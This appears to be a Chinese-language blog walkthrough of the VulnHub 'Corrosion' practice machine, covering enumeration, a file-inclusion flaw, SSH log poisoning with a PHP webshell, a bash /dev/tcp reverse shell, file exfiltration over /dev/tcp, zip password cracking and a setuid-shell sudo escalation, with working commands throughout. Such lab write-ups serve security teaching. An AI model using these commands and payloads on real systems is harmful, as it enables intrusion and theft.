靶机渗透练习36-Corrosion

靶机描述

靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/

Description

Difficulty: Easy

A easy box for beginners, but not too easy. Good Luck.

Hint: Enumerate Property.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.184.128

靶机

IP地址:192.168.184.146

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220106161042250

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220106161309673

2.1.3 尝试访问靶机网页

image-20220106161347250

2.1.4 目录扫描

☁  kali  dirb http://192.168.184.146/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Jan  6 16:14:35 2022
URL_BASE: http://192.168.184.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.184.146/ ----
+ http://192.168.184.146/index.html (CODE:200|SIZE:10918)                                                                                                            
+ http://192.168.184.146/server-status (CODE:403|SIZE:280)                                                                                                           
==> DIRECTORY: http://192.168.184.146/tasks/                                                                                                                         
                                                                                                                                                                     
---- Entering directory: http://192.168.184.146/tasks/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Thu Jan  6 16:14:38 2022
DOWNLOADED: 4612 - FOUND: 2

查看相关URL

image-20220106161608880

image-20220106161536576

image-20220106161641156

有一点提示,但是没有发现太有价值的信息
换大一点的字典,dirb 会停在那里不动
安装另一个目录扫描工具: apt-get install dirsearch

dirsearch -u http://192.168.184.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-20220106162300120

查看 URL:http://192.168.184.146/blog-post/

image-20220106162135534

继续扫描

dirsearch -u http://192.168.184.146/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-20220106163659328

image-20220106163718918

image-20220106163730429

2.2枚举漏洞

2.2.1Fuzz 文件包含参数

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hw 0 -u http://192.168.184.146/blog-post/archives/randylogs.php?FUZZ=../../../../../../../../etc/passwd

image-20220106164025248

爆出来参数是file

访问http://192.168.184.146/blog-post/archives/randylogs.php?file=../../../../../../../../etc/passwd

image-20220106164110270

有文件包含漏洞

2.3漏洞利用

2.3.1 包含 auth.log 文件包含漏洞利用

文件包含可以包含/etc/passwd 文件,如果想利用文件包含漏洞需要包含可以控制的代码,
比如将一句话后门写入到日志文件中,然后包含日志文件。
因为当前系统是 ubuntu,日志文件/var/log/auth.log 是可以包含的
尝试包含:
http://192.168.184.146/blog-post/archives/randylogs.php?file=../../../../../../../../var/log/auth.log

image-20220106164615318

使用 ssh 登陆,尝试将一句话后门写入日志文件中

ssh '<?php passthru($_GET['cmd']);?>'@192.168.184.146

image-20220106164747882

尝试执行参数

http://192.168.184.146/blog-post/archives/randylogs.php?file=../../../../../../../../var/log/auth.log&cmd=id

image-20220106165047710

成功获取信息
然后在 kali 中监听 6666, nc -lvp 6666

执行 bash 命令反弹 shell:bash -c 'bash -i >& /dev/tcp/192.168.184.128/6666 0>&1'
需要编码:

%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%34%2e%31%32%38%2f%36%36%36%36%20%30%3e%26%31%27

image-20220106165256618

image-20220106165800003

2.4权限提升

2.4.1 信息收集

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

www-data@corrosion:/var/www/html/blog-post/archives$ find / -perm -u=s -type f 2>/dev/null
<ost/archives$ find / -perm -u=s -type f 2>/dev/null 
/snap/snapd/12704/usr/lib/snapd/snap-confine
/snap/snapd/14295/usr/lib/snapd/snap-confine
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign
/snap/core18/2253/bin/mount
/snap/core18/2253/bin/ping
/snap/core18/2253/bin/su
/snap/core18/2253/bin/umount
/snap/core18/2253/usr/bin/chfn
/snap/core18/2253/usr/bin/chsh
/snap/core18/2253/usr/bin/gpasswd
/snap/core18/2253/usr/bin/newgrp
/snap/core18/2253/usr/bin/passwd
/snap/core18/2253/usr/bin/sudo
/snap/core18/2253/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2253/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/sbin/pppd
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd

没有发现(在 https://gtfobins.github.io/对比)

下载 linpeas.sh 脚本
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
下载完之后,在 kali 搭建 web 服务
python -m SimpleHTTPServer 8888

image-20220106170351748

在根目录下查看各文件夹权限

image-20220106170329485

咱们进入tmp目录下下载linpeas.sh

cd /tmp
wget http://192.168.184.128:8888/linpeas.sh
chmod 777 linpeas.sh

image-20220106170555371

执行linpeas.sh脚本

image-20220106170700377

有非常多的信息,可以发现一个备份文件

image-20220106170835316

2.4.2 破解压缩包密码 getshell

将文件下载下载到 kali
1 在 kali 开启监听
nc -lvp 1234 > user_backup.zip

image-20220106171031798

在被攻击机发送文件
cat user_backup.zip > /dev/tcp/192.168.184.128/1234

image-20220106171153793

在 kali 解压文件

image-20220106171215952

发现有密码,需要破解
安装破解工具:apt install fcrackzip

使用 frackzip 破解

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip

image-20220106171551200

密码:!randybaby
解压 zip 文件

image-20220106171638572

查看密码文件

image-20220106171751724

密码:randylovesgoldfish1998
尝试登陆 SSH:ssh randy@192.168.184.146

image-20220106171801499

2.4.3 sudo 提权

执行 sudo -l 可以发现程序 (root) PASSWD: /home/randy/tools/easysysinfo
切换到/home/randy/tools/目录,查看文件

image-20220106171934544

randy@corrosion:~/tools$ cat easysysinfo.py 
#!/usr/bin/python3.9

import os

command1 = "/usr/bin/date"
command2 = "/usr/bin/cat /etc/hosts"
command3 = "/usr/bin/uname -a"


def output():
        print("Today is: ")
        os.system(command1)

        print("\n")

        print("Hosts File: ")
        os.system(command2)

        print("\n")

        print("Kernal Version: ")
        os.system(command3)

output()

image-20220106172100420

可以看到两个文件 easysysinfo 是二进制文件,源码是 easysysinfo.py
如果能覆盖 easysysinfo 程序,然后使用sudo运行 easysysinfo 程序提权

使用 vi test.c 创建文件

#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}

image-20220106172235853

然后sudo运行覆盖后的easysysinfo,成功提权

image-20220106172346285

总结

本靶机最值得学习的Fuzz文件包含,linpeas.sh这个脚本很好用

  1. 目录扫描工具:dirsearch

  2. FUZZ 工具:wfuzz

  3. 信息收集脚本:linpeas.sh

  4. Zip密码破解:fcrackzip

  5. c语言代码编译加sudo提权

posted @ 2022-04-03 23:59  hirak0  阅读(92)  评论(0编辑  收藏  举报